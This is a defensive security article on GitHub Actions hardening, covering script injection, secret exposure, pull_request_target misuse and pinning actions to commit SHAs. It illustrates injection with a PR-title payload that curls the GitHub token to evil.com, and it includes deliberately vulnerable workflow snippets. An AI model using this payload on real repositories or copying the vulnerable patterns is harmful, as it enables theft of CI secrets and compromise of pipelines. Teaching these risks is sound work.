GitHub Actions Security: Script Injection, Secret Leaks & Hardening Your CI/CD
Why GitHub Actions Is a High-Value Target
GitHub Actions runs code with access to your source code, secrets, cloud credentials, and deployment pipelines. A compromised workflow means compromised production.
| Risk | Impact |
|---|---|
| Script injection | Run arbitrary commands in your CI |
| Secret exfiltration | Steal API keys, deploy tokens |
| Supply chain attack | Compromised third-party action |
| Privilege escalation | PR from fork gains write access |
| Artifact poisoning | Tampered build outputs |
Vulnerability 1: Script Injection via Expressions
The most common and dangerous vulnerability. GitHub expressions (${{ }}) are evaluated before the shell runs — they're string interpolation, not safe variables.
❌ Vulnerable Workflow
name: Greet PR Author
on: pull_request
jobs:
greet:
runs-on: ubuntu-latest
steps:
- run: |
echo "Thanks for the PR, ${{ github.event.pull_request.title }}!"
An attacker creates a PR with title:
"; curl https://evil.com/steal?token=$GITHUB_TOKEN; echo "
The workflow executes:
echo "Thanks for the PR, "; curl https://evil.com/steal?token=$GITHUB_TOKEN; echo "!"
Vulnerable Contexts (User-Controlled)
github.event.pull_request.title
github.event.pull_request.body
github.event.issue.title
github.event.issue.body
github.event.comment.body
github.event.review.body
github.event.head_commit.message
github.head_ref (branch name)
✅ Fixed: Use Environment Variables
- name: Greet safely
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: |
echo "Thanks for the PR: $PR_TITLE"
# $PR_TITLE is now a shell variable — NOT interpolated into the script
Vulnerability 2: Secret Exfiltration
# ❌ Secrets available to all steps including untrusted code
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm test # If tests run user-contributed code, secrets can be stolen
env:
AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}
DATABASE_URL: ${{ secrets.DATABASE_URL }}
✅ Minimize Secret Exposure
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm test # No secrets here
deploy:
needs: test
runs-on: ubuntu-latest
environment: production # Requires approval
steps:
- uses: actions/checkout@v4
- name: Deploy
env:
AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}
run: ./deploy.sh
Vulnerability 3: Dangerous pull_request_target
pull_request_target runs with write permissions and access to secrets — even for PRs from forks!
# ❌ EXTREMELY DANGEROUS — runs forked PR code with write access + secrets
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # Checks out FORKED code!
- run: npm install && npm test # Runs attacker's code with your secrets
✅ Safe Pattern
on: pull_request_target
jobs:
label:
runs-on: ubuntu-latest
steps:
# ✅ Only checkout BASE repo code, not fork code
- uses: actions/checkout@v4
# No ref override — checks out base branch (safe)
# ✅ Only run trusted scripts from your own repo
- run: ./scripts/label-pr.sh
Vulnerability 4: Third-Party Action Supply Chain
# ❌ Using mutable tag — author can push malicious update
- uses: some-author/helpful-action@v1
# ❌ Using branch — changes anytime
- uses: some-author/helpful-action@main
# ✅ Pin to exact commit SHA
- uses: some-author/helpful-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2
# ✅ Even better — use GitHub's official actions (well-maintained)
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
Automate Dependency Updates (Dependabot for Actions)
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
Hardened Workflow Template
name: Secure CI/CD
on:
push:
branches: [main]
pull_request:
branches: [main]
# ✅ Minimal permissions at workflow level
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version: 20
cache: npm
- run: npm ci
- run: npm test
deploy:
needs: test
if: github.ref == 'refs/heads/main' && github.event_name == 'push'
runs-on: ubuntu-latest
timeout-minutes: 15
environment: production # ✅ Requires manual approval
permissions:
contents: read
id-token: write # ✅ OIDC — no long-lived secrets
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502
with:
role-to-assume: arn:aws:iam::123456789:role/deploy # ✅ OIDC, no keys
aws-region: us-east-1
- run: ./deploy.sh
GitHub Actions Security Checklist
- Never use
${{ }}expressions directly inrun:with user-controlled values - Pin third-party actions to full commit SHAs
- Set minimal
permissions:at workflow and job level - Use
environment:with required approvals for production deploys - Use OIDC (
id-token: write) instead of long-lived cloud credentials - Never checkout fork code with
pull_request_target - Limit secret access to only the jobs/steps that need them
- Set
timeout-minutes:to prevent runaway jobs - Enable Dependabot for GitHub Actions dependencies
- Audit workflow runs for unexpected commands
Advertisement
Free Security Tools
Try our tools now
Expert Services
Get professional help
OWASP Top 10
Learn the top risks
Related Articles
DevSecOps: The Complete Guide 2025-2026
Master DevSecOps with comprehensive practices, automation strategies, real-world examples, and the latest trends shaping secure development in 2025.
Shift-Left Security: How to Catch 85% of Vulnerabilities Before Production
Shift-left security moves security testing earlier in the SDLC — from production firefighting to design-time prevention. This guide shows how to implement security in requirements, design, coding, and CI/CD with measurable results.
IaC Security: Securing Terraform, Docker & Kubernetes Before Deployment
67% of IaC templates contain at least one misconfiguration. This guide covers Terraform security scanning, Docker hardening, Kubernetes RBAC, OPA policies, and automated IaC security in CI/CD pipelines.